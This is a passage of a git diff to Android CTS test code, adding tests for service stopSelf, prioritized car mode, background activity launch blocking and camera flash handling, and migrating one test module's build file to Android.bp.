             Cursor cursor = null;
diff --git a/tests/app/src/android/app/cts/ServiceTest.java b/tests/app/src/android/app/cts/ServiceTest.java
index 6649346..792ef5d 100644
--- a/tests/app/src/android/app/cts/ServiceTest.java
+++ b/tests/app/src/android/app/cts/ServiceTest.java
@@ -29,6 +29,7 @@
 import android.app.stubs.LocalForegroundService;
 import android.app.stubs.LocalGrantedService;
 import android.app.stubs.LocalService;
+import android.app.stubs.LocalStoppedService;
 import android.app.stubs.NullService;
 import android.app.stubs.R;
 import android.content.ComponentName;
@@ -45,6 +46,7 @@
 import android.os.Process;
 import android.os.RemoteException;
 import android.os.SystemClock;
+import android.os.UserHandle;
 import android.service.notification.StatusBarNotification;
 import android.test.suitebuilder.annotation.MediumTest;
 import android.util.Log;
@@ -77,6 +79,7 @@
     private static final int STATE_DESTROY = 4;
     private static final int STATE_REBIND = 5;
     private static final int STATE_UNBIND_ONLY = 6;
+    private static final int STATE_STOP_SELF_SUCCESS_UNBIND = 6;
     private static final int DELAY = 5000;
     private static final
         String EXIST_CONN_TO_RECEIVE_SERVICE = "existing connection to receive service";
@@ -220,6 +223,46 @@
         }
     }
 
+    private class TestStopSelfConnection extends TestConnection {
+        private IBinder mService;
+
+        public TestStopSelfConnection() {
+            super(false /* expectDisconnect */, true /* setReporter */);
+        }
+
+        private void executeTransact(int code) {
+            Parcel data = Parcel.obtain();
+            data.writeInterfaceToken(LocalService.SERVICE_LOCAL);
+            try {
+                mService.transact(code, data, null /* reply */, 0);
+            } catch (RemoteException e) {
+                finishBad("DeadObjectException when sending reporting object");
+            }
+            data.recycle();
+        }
+
+        public void stopSelf() {
+            executeTransact(LocalService.STOP_SELF_CODE);
+        }
+
+        public void stopSelfResult() {
+            executeTransact(LocalService.STOP_SELF_RESULT_CODE);
+        }
+
+        @Override
+        public void onServiceConnected(ComponentName name, IBinder service) {
+            mService = service;
+            super.onServiceConnected(name, service);
+        }
+
+        @Override
+        public void onServiceDisconnected(ComponentName name) {
+            synchronized (this) {
+                mService = null;
+            }
+        }
+    }
+
     final class IsolatedConnection implements ServiceConnection {
         private IBinder mService;
         private int mUid;
@@ -756,12 +799,70 @@
                             + mExpectedServiceState + ")");
                 }
                 return true;
+            } else if (code == LocalService.STOP_SELF_SUCCESS_UNBIND_CODE) {
+                data.enforceInterface(LocalService.SERVICE_LOCAL);
+                if (mExpectedServiceState == STATE_STOP_SELF_SUCCESS_UNBIND) {
+                    finishGood();
+                } else {
+                    finishBad("onUnbind() was called when not expected (state="
+                            + mExpectedServiceState + ")");
+                }
+                return true;
             } else {
                 return super.onTransact(code, data, reply, flags);
             }
         }
     }
 
+    public void testStopSelf() throws Exception {
+        TestStopSelfConnection conn = new TestStopSelfConnection();
+        boolean success = false;
+        final Intent service = new Intent(mContext, LocalStoppedService.class);
+        try {
+            conn.setMonitor(true);
+            mExpectedServiceState = STATE_START_1;
+            mContext.bindService(service, conn, 0);
+            mContext.startService(service);
+            waitForResultOrThrow(DELAY, EXIST_CONN_TO_RECEIVE_SERVICE);
+            success = true;
+        } finally {
+            if (!success) {
+                mContext.unbindService(conn);
+                mContext.stopService(service);
+            }
+        }
+        // Expect to see the service unbind and then destroyed.
+        mExpectedServiceState = STATE_UNBIND;
+        conn.stopSelf();
+        waitForResultOrThrow(DELAY, EXIST_CONN_TO_LOSE_SERVICE);
+
+        mContext.unbindService(conn);
+    }
+
+    public void testStopSelfResult() throws Exception {
+        TestStopSelfConnection conn = new TestStopSelfConnection();
+        boolean success = false;
+        final Intent service = new Intent(mContext, LocalStoppedService.class);
+        try {
+            conn.setMonitor(true);
+            mExpectedServiceState = STATE_START_1;
+            mContext.bindService(service, conn, 0);
+            mContext.startService(service);
+            waitForResultOrThrow(DELAY, EXIST_CONN_TO_RECEIVE_SERVICE);
+            success = true;
+        } finally {
+            if (!success) {
+                mContext.unbindService(conn);
+                mContext.stopService(service);
+            }
+        }
+        // Expect to see the service unbind and then destroyed.
+        mExpectedServiceState = STATE_STOP_SELF_SUCCESS_UNBIND;
+        conn.stopSelfResult();
+        waitForResultOrThrow(DELAY, EXIST_CONN_TO_LOSE_SERVICE);
+
+        mContext.unbindService(conn);
+    }
 
     public void testLocalStartClass() throws Exception {
         startExpectResult(mLocalService);
@@ -1352,6 +1453,22 @@
             return mInfo != null ? mInfo.getConnection().getUid() : mUid;
         }
 
+        int getUserId() {
+            return UserHandle.getUserHandleForUid(getUid()).getIdentifier();
+        }
+
+        int getAppId() {
+            return UserHandle.getAppId(getUid());
+        }
+
+        boolean isEquivalentTo(ProcessRecordProto proc) {
+            int procAppId = proc.isolatedAppId != 0 ? proc.isolatedAppId : UserHandle.getAppId(
+                    proc.uid);
+
+            // Compare appid and userid separately because UserHandle.getUid is @hide.
+            return procAppId == getAppId() && proc.userId == getUserId();
+        }
+
         int getFlags() {
             return mFlags;
         }
@@ -1441,20 +1558,18 @@
             logProc(i, proc);
             final LruOrderItem lru = orderItems[orderI];
             Log.i("XXXXXXXX", "Expecting uid: " + lru.getUid());
-            int procUid = proc.isolatedAppId != 0 ? proc.isolatedAppId : proc.uid;
-            if (procUid != lru.getUid()) {
+            if (!lru.isEquivalentTo(proc)) {
                 if ((lru.getFlags() & LruOrderItem.FLAG_SKIP_UNKNOWN) != 0) {
                     while (i > 0) {
                         i--;
                         proc = procs.get(i);
                         logProc(i, proc);
-                        procUid = proc.isolatedAppId != 0 ? proc.isolatedAppId : proc.uid;
-                        if (procUid == lru.getUid()) {
+                        if (lru.isEquivalentTo(proc)) {
                             break;
                         }
                     }
                 }
-                if (procUid != lru.getUid()) {
+                if (!lru.isEquivalentTo(proc)) {
                     if ((lru.getFlags() & LruOrderItem.FLAG_SKIP_UNKNOWN) != 0) {
                         fail("Didn't find expected LRU proc uid=" + lru.getUid());
                     }
diff --git a/tests/app/src/android/app/cts/UiModeManagerTest.java b/tests/app/src/android/app/cts/UiModeManagerTest.java
index e63c222..55da157 100644
--- a/tests/app/src/android/app/cts/UiModeManagerTest.java
+++ b/tests/app/src/android/app/cts/UiModeManagerTest.java
@@ -15,6 +15,9 @@
  */
 package android.app.cts;
 
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import android.app.UiAutomation;
 import android.app.UiModeManager;
 import android.content.Context;
 import android.content.pm.PackageManager;
@@ -152,6 +155,41 @@
         BatteryUtils.runDumpsysBatteryReset();
     }
 
+    /**
+     * Verifies that an app holding the ENTER_CAR_MODE_PRIORITIZED permission can enter car mode
+     * while specifying a priority.
+     */
+    public void testEnterCarModePrioritized() {
+        // Adopt shell permission so the required permission
+        // (android.permission.ENTER_CAR_MODE_PRIORITIZED) is granted.
+        UiAutomation ui = getInstrumentation().getUiAutomation();
+        ui.adoptShellPermissionIdentity();
+
+        try {
+            mUiModeManager.enableCarMode(100, 0);
+            assertEquals(Configuration.UI_MODE_TYPE_CAR, mUiModeManager.getCurrentModeType());
+
+            mUiModeManager.disableCarMode(0);
+            assertEquals(Configuration.UI_MODE_TYPE_NORMAL, mUiModeManager.getCurrentModeType());
+        } finally {
+            ui.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Attempts to use the prioritized car mode API when the caller does not hold the correct
+     * permission to use that API.
+     */
+    public void testEnterCarModePrioritizedDenied() {
+        try {
+            mUiModeManager.enableCarMode(100, 0);
+        } catch (SecurityException se) {
+            // Expect exception.
+            return;
+        }
+        fail("Expected SecurityException");
+    }
+
     private boolean isAutomotive() {
         return getContext().getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_AUTOMOTIVE);
diff --git a/tests/app/src/android/app/cts/WallpaperManagerTest.java b/tests/app/src/android/app/cts/WallpaperManagerTest.java
index fe5f183..3b9934a 100644
--- a/tests/app/src/android/app/cts/WallpaperManagerTest.java
+++ b/tests/app/src/android/app/cts/WallpaperManagerTest.java
@@ -16,6 +16,7 @@
 
 package android.app.cts;
 
+import static org.junit.Assume.assumeTrue;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.anyInt;
 import static org.mockito.ArgumentMatchers.nullable;
@@ -72,6 +73,7 @@
         MockitoAnnotations.initMocks(this);
         mContext = InstrumentationRegistry.getTargetContext();
         mWallpaperManager = WallpaperManager.getInstance(mContext);
+        assumeTrue("Device does not support wallpapers", mWallpaperManager.isWallpaperSupported());
         final HandlerThread handlerThread = new HandlerThread("TestCallbacks");
         handlerThread.start();
         mHandler = new Handler(handlerThread.getLooper());
@@ -477,4 +479,4 @@
         public void onColorsChanged(WallpaperColors colors, int which) {
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java b/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java
index dbc5f38..8e92d9a 100644
--- a/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java
+++ b/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java
@@ -39,6 +39,7 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.RequiredServiceRule;
 import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.After;
@@ -47,6 +48,7 @@
 import org.junit.runner.RunWith;
 
 import java.util.ArrayList;
+import org.junit.ClassRule;
 import java.util.Collections;
 import java.util.List;
 import java.util.concurrent.Executors;
@@ -66,6 +68,10 @@
     private static final String TEST_LAUNCH_LOCATION = "testCollapsedLocation";
     private static final int TEST_ACTION = 2;
 
+    @ClassRule
+    public static final RequiredServiceRule mRequiredServiceRule =
+            new RequiredServiceRule(APP_PREDICTION_SERVICE);
+
     private ServiceReporter mReporter;
     private Bundle mPredictionContextExtras;
 
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
index 9342a6f..53decc1 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
@@ -517,7 +517,11 @@
                             " does not support color outputs, skipping");
                     continue;
                 }
-
+                if (!mAllStaticInfo.get(mCameraIds[i]).hasFlash()) {
+                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                            " does not support flash, skipping");
+                    continue;
+                }
                 openDevice(mCameraIds[i]);
                 SimpleCaptureCallback listener = new SimpleCaptureCallback();
                 CaptureRequest.Builder requestBuilder =
@@ -1462,18 +1466,6 @@
         mSession.setRepeatingRequest(requestBuilder.build(), listener, mHandler);
         waitForSettingsApplied(listener, NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY);
 
-        // For camera that doesn't have flash unit, flash state should always be UNAVAILABLE.
-        if (mStaticInfo.getFlashInfoChecked() == false) {
-            for (int i = 0; i < NUM_FLASH_REQUESTS_TESTED; i++) {
-                result = listener.getCaptureResult(CAPTURE_RESULT_TIMEOUT_MS);
-                mCollector.expectEquals("No flash unit available, flash state must be UNAVAILABLE"
-                        + "for AE mode " + initialAeControl,
-                        CaptureResult.FLASH_STATE_UNAVAILABLE,
-                        result.get(CaptureResult.FLASH_STATE));
-            }
-            return;
-        }
-
         // Turn on torch using FLASH_MODE_TORCH
         requestBuilder.set(CaptureRequest.CONTROL_AE_MODE, CaptureRequest.CONTROL_AE_MODE_ON);
         requestBuilder.set(CaptureRequest.FLASH_MODE, CaptureRequest.FLASH_MODE_TORCH);
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index 75e0fca..a5ea222 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -145,7 +145,9 @@
     /**
      * Test that the available stream configurations contain a few required formats and sizes.
      */
+    @CddTest(requirement="7.5.1/C-1-2")
     public void testAvailableStreamConfigs() throws Exception {
+        boolean firstBackFacingCamera = true;
         for (int i = 0; i < mAllCameraIds.length; i++) {
             CameraCharacteristics c = mCharacteristics.get(i);
             StreamConfigurationMap config =
@@ -216,10 +218,13 @@
                             sensorResolution >= MIN_FRONT_SENSOR_RESOLUTION);
                     break;
                 case CameraCharacteristics.LENS_FACING_BACK:
-                    assertTrue("Back Sensor resolution should be at least "
-                            + MIN_BACK_SENSOR_RESOLUTION +
-                            " pixels, is "+ sensorResolution,
-                            sensorResolution >= MIN_BACK_SENSOR_RESOLUTION);
+                    if (firstBackFacingCamera) {
+                        assertTrue("Back Sensor resolution should be at least "
+                                + MIN_BACK_SENSOR_RESOLUTION +
+                                " pixels, is "+ sensorResolution,
+                                sensorResolution >= MIN_BACK_SENSOR_RESOLUTION);
+                        firstBackFacingCamera = false;
+                    }
                     break;
                 default:
                     break;
diff --git a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
index e8d2812..f28e50c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
@@ -1030,6 +1030,9 @@
                 // stopPreview must be called here to make sure next time a preview stream
                 // is created with new size.
                 stopPreview();
+                // Drain the results after each combination. Depending on the device the results
+                // can be relatively big and could accumulate fairly quickly after many iterations.
+                resultListener.drain();
             }
     }
 
diff --git a/tests/contentsuggestions/Android.bp b/tests/contentsuggestions/Android.bp
new file mode 100644
index 0000000..0dba01a
--- /dev/null
+++ b/tests/contentsuggestions/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsContentSuggestionsTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.annotation_annotation",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "truth-prebuilt",
+        // TODO: remove once Android migrates to JUnit 4.12,
+        // which provides assertThrows
+        "testng",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/contentsuggestions/Android.mk b/tests/contentsuggestions/Android.mk
deleted file mode 100644
index 2577e88..0000000
--- a/tests/contentsuggestions/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.annotation_annotation \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    truth-prebuilt \
-    testng # TODO: remove once Android migrates to JUnit 4.12, which provide assertThrows
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsContentSuggestionsTestCases
-
-LOCAL_SDK_VERSION := system_current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/contentsuggestions/AndroidTest.xml b/tests/contentsuggestions/AndroidTest.xml
index d6c73a2..9e8821d 100644
--- a/tests/contentsuggestions/AndroidTest.xml
+++ b/tests/contentsuggestions/AndroidTest.xml
@@ -20,6 +20,7 @@
   <!-- Only available to recents, which can't be an instant app. -->
   <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
   <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+  <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
   <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
     <option name="cleanup-apks" value="true" />
diff --git a/tests/contentsuggestions/src/android/contentsuggestions/cts/ContentSuggestionsManagerTest.java b/tests/contentsuggestions/src/android/contentsuggestions/cts/ContentSuggestionsManagerTest.java
index c9f7fbb..ba7791d 100644
--- a/tests/contentsuggestions/src/android/contentsuggestions/cts/ContentSuggestionsManagerTest.java
+++ b/tests/contentsuggestions/src/android/contentsuggestions/cts/ContentSuggestionsManagerTest.java
@@ -37,10 +37,13 @@
 import androidx.annotation.NonNull;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.RequiredServiceRule;
+
 import com.google.common.collect.Lists;
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.ClassRule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -56,7 +59,11 @@
     private static final String TAG = ContentSuggestionsManagerTest.class.getSimpleName();
 
     private static final long VERIFY_TIMEOUT_MS = 5_000;
-    private static final long SERVICE_LIFECYCLE_TIMEOUT_MS = 10_000;
+    private static final long SERVICE_LIFECYCLE_TIMEOUT_MS = 30_000;
+
+    @ClassRule
+    public static final RequiredServiceRule mRequiredServiceRule =
+            new RequiredServiceRule(Context.CONTENT_SUGGESTIONS_SERVICE);
 
     private ContentSuggestionsManager mManager;
     private CtsContentSuggestionsService.Watcher mWatcher;
@@ -65,6 +72,7 @@
     public void setup() {
         mWatcher = CtsContentSuggestionsService.setWatcher();
 
+        Log.d(TAG, "Test setting service");
         mManager = (ContentSuggestionsManager) getContext()
                 .getSystemService(Context.CONTENT_SUGGESTIONS_SERVICE);
         setService(CtsContentSuggestionsService.SERVICE_COMPONENT.flattenToString());
@@ -79,10 +87,12 @@
 
         await(mWatcher.created, "Waiting for create");
         reset(mWatcher.verifier);
+        Log.d(TAG, "Service set and watcher reset.");
     }
 
     @After
     public void tearDown() {
+        Log.d(TAG, "Starting tear down, watcher is: " + mWatcher);
         resetService();
         await(mWatcher.destroyed, "Waiting for service destroyed");
 
diff --git a/tests/fragment/sdk26/AndroidTest.xml b/tests/fragment/sdk26/AndroidTest.xml
index baad0aa..c2cd6a4 100644
--- a/tests/fragment/sdk26/AndroidTest.xml
+++ b/tests/fragment/sdk26/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsFragmentTestCasesSdk26.apk" />
diff --git a/tests/framework/base/windowmanager/appPrereleaseSdk/fake-framework/Android.bp b/tests/framework/base/windowmanager/appPrereleaseSdk/fake-framework/Android.bp
index 26031de..38e51932 100644
--- a/tests/framework/base/windowmanager/appPrereleaseSdk/fake-framework/Android.bp
+++ b/tests/framework/base/windowmanager/appPrereleaseSdk/fake-framework/Android.bp
@@ -21,7 +21,7 @@
 android_app {
     name: "fake-framework",
     installable: false,
-    sdk_version: "core_current",
+    sdk_version: "core_platform",
     srcs: ["src/**/*.java"],
     export_package_resources: true,
     optimize: {
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/Components.java b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/Components.java
index 56aa319..5023481 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/Components.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/Components.java
@@ -46,6 +46,10 @@
                 "START_ACTIVITY_FROM_FG_ACTIVITY_DELAY_MS_EXTRA";
         public static final String START_ACTIVITY_FROM_FG_ACTIVITY_NEW_TASK_EXTRA =
                 "START_ACTIVITY_FROM_FG_ACTIVITY_NEW_TASK_EXTRA";
+        public static final String LAUNCH_INTENTS_EXTRA = "LAUNCH_INTENTS_EXTRA";
+
+        public static final String ACTION_LAUNCH_BACKGROUND_ACTIVITIES =
+                Components.class.getPackage().getName() + ".ACTION_LAUNCH_BACKGROUND_ACTIVITIES";
     }
 
     /** Extra key constants for {@link #APP_A_SEND_PENDING_INTENT_RECEIVER} */
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/ForegroundActivity.java b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/ForegroundActivity.java
index 377cabf..1413fbc 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/ForegroundActivity.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/ForegroundActivity.java
@@ -16,17 +16,25 @@
 
 package android.server.wm.backgroundactivity.appa;
 
+import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.ACTION_LAUNCH_BACKGROUND_ACTIVITIES;
 import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.LAUNCH_BACKGROUND_ACTIVITY_EXTRA;
+import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.LAUNCH_INTENTS_EXTRA;
 import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.LAUNCH_SECOND_BACKGROUND_ACTIVITY_EXTRA;
 import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.RELAUNCH_FOREGROUND_ACTIVITY_EXTRA;
 import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.START_ACTIVITY_FROM_FG_ACTIVITY_DELAY_MS_EXTRA;
 import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.START_ACTIVITY_FROM_FG_ACTIVITY_NEW_TASK_EXTRA;
 
 import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
 import android.content.Intent;
+import android.content.IntentFilter;
 import android.os.Bundle;
+import android.os.Parcelable;
 import android.os.SystemClock;
 
+import java.util.Arrays;
+
 /**
  * Foreground activity that makes AppA as foreground.
  */
@@ -34,6 +42,16 @@
 
     private boolean mRelaunch = false;
 
+    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            // Need to copy as a new array instead of just casting to Intent[] since a new array of
+            // type Parcelable[] is created when deserializing.
+            Parcelable[] intents = intent.getParcelableArrayExtra(LAUNCH_INTENTS_EXTRA);
+            startActivities(Arrays.copyOf(intents, intents.length, Intent[].class));
+        }
+    };
+
     @Override
     public void onCreate(Bundle bundle) {
         super.onCreate(bundle);
@@ -66,6 +84,7 @@
             newIntent.setClass(this, SecondBackgroundActivity.class);
             startActivity(newIntent);
         }
+        registerReceiver(mReceiver, new IntentFilter(ACTION_LAUNCH_BACKGROUND_ACTIVITIES));
     }
 
     @Override
@@ -78,4 +97,10 @@
             startActivity(getIntent());
         }
     }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        unregisterReceiver(mReceiver);
+    }
 }
diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
index 933ad8d..6461c8f 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
@@ -30,7 +30,9 @@
 import static android.server.wm.backgroundactivity.appa.Components.APP_A_SEND_PENDING_INTENT_RECEIVER;
 import static android.server.wm.backgroundactivity.appa.Components.APP_A_SIMPLE_ADMIN_RECEIVER;
 import static android.server.wm.backgroundactivity.appa.Components.APP_A_START_ACTIVITY_RECEIVER;
+import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.ACTION_LAUNCH_BACKGROUND_ACTIVITIES;
 import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.LAUNCH_BACKGROUND_ACTIVITY_EXTRA;
+import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.LAUNCH_INTENTS_EXTRA;
 import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.LAUNCH_SECOND_BACKGROUND_ACTIVITY_EXTRA;
 import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.RELAUNCH_FOREGROUND_ACTIVITY_EXTRA;
 import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.START_ACTIVITY_FROM_FG_ACTIVITY_DELAY_MS_EXTRA;
@@ -216,9 +218,7 @@
         pressHomeButton();
         mAmWmState.waitForHomeActivityVisible();
 
-        // Any activity launch will be blocked for 5s because of app switching protection.
-        SystemClock.sleep(7000);
-
+        waitToPreventAppSwitchProtection();
         result = waitForActivityFocused(APP_A_FOREGROUND_ACTIVITY);
         assertFalse("Previously foreground Activity should not be able to relaunch itself", result);
         result = waitForActivityFocused(APP_A_BACKGROUND_ACTIVITY);
@@ -248,9 +248,7 @@
         pressHomeButton();
         mAmWmState.waitForHomeActivityVisible();
 
-        // Any activity launch will be blocked for 5s because of app switching protection.
-        SystemClock.sleep(7000);
-
+        waitToPreventAppSwitchProtection();
         result = waitForActivityFocused(APP_A_FOREGROUND_ACTIVITY);
         assertFalse("Previously foreground Activity should not be able to relaunch itself", result);
         result = waitForActivityFocused(APP_A_BACKGROUND_ACTIVITY);
@@ -276,9 +274,7 @@
         pressHomeButton();
         mAmWmState.waitForHomeActivityVisible();
 
-        // Any activity launch will be blocked for 5s because of app switching protection.
-        SystemClock.sleep(5000);
-
+        waitToPreventAppSwitchProtection();
         result = waitForActivityFocused(APP_A_FOREGROUND_ACTIVITY);
         assertFalse("Previously foreground Activity should not be able to relaunch itself", result);
         assertTaskStack(new ComponentName[]{APP_A_FOREGROUND_ACTIVITY}, APP_A_FOREGROUND_ACTIVITY);
@@ -306,6 +302,39 @@
     }
 
     @Test
+    public void testSecondActivityBlockedWhenBackgroundActivityLaunch() throws Exception {
+        Intent baseActivityIntent = new Intent();
+        baseActivityIntent.setComponent(APP_A_FOREGROUND_ACTIVITY);
+        baseActivityIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(baseActivityIntent);
+        boolean result = waitForActivityFocused(APP_A_FOREGROUND_ACTIVITY);
+        assertTrue("Not able to start foreground activity", result);
+        assertTaskStack(new ComponentName[]{APP_A_FOREGROUND_ACTIVITY}, APP_A_FOREGROUND_ACTIVITY);
+        pressHomeButton();
+        mAmWmState.waitForHomeActivityVisible();
+        waitToPreventAppSwitchProtection();
+
+        // The activity, now in the background, will attempt to start 2 activities in quick
+        // succession
+        Intent broadcastIntent = new Intent(ACTION_LAUNCH_BACKGROUND_ACTIVITIES);
+        Intent bgActivity1 = new Intent();
+        bgActivity1.setComponent(APP_A_BACKGROUND_ACTIVITY);
+        Intent bgActivity2 = new Intent();
+        bgActivity2.setComponent(APP_A_SECOND_BACKGROUND_ACTIVITY);
+        broadcastIntent.putExtra(LAUNCH_INTENTS_EXTRA, new Intent[]{bgActivity1, bgActivity2});
+        mContext.sendBroadcast(broadcastIntent);
+
+        // There should be 2 activities in the background (not focused) INITIALIZING
+        result = waitForActivityFocused(APP_A_BACKGROUND_ACTIVITY);
+        assertFalse("Activity should not have been launched in the foreground", result);
+        result = waitForActivityFocused(APP_A_SECOND_BACKGROUND_ACTIVITY);
+        assertFalse("Second activity should not have been launched in the foreground", result);
+        assertTaskStack(
+                new ComponentName[]{APP_A_SECOND_BACKGROUND_ACTIVITY, APP_A_BACKGROUND_ACTIVITY,
+                        APP_A_FOREGROUND_ACTIVITY}, APP_A_FOREGROUND_ACTIVITY);
+    }
+
+    @Test
     public void testPendingIntentActivityBlocked() throws Exception {
         // Cannot start activity by pending intent, as both appA and appB are in background
         sendPendingIntentActivity();
@@ -400,6 +429,11 @@
         assertTaskStack(new ComponentName[]{APP_A_BACKGROUND_ACTIVITY}, APP_A_BACKGROUND_ACTIVITY);
     }
 
+    private void waitToPreventAppSwitchProtection() {
+        // Any activity launch will be blocked for 5s because of app switching protection.
+        SystemClock.sleep(7000);
+    }
+
     private void assertTaskStack(ComponentName[] expectedComponents,
             ComponentName sourceComponent) {
         if (expectedComponents == null) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index 3fcb7e0..523e660 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -260,6 +260,7 @@
         // Launch a different activity on top.
         launchActivity(BROADCAST_RECEIVER_ACTIVITY);
         mAmWmState.waitForActivityState(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
+        mAmWmState.waitForActivityState(MOVE_TASK_TO_BACK_ACTIVITY,STATE_STOPPED);
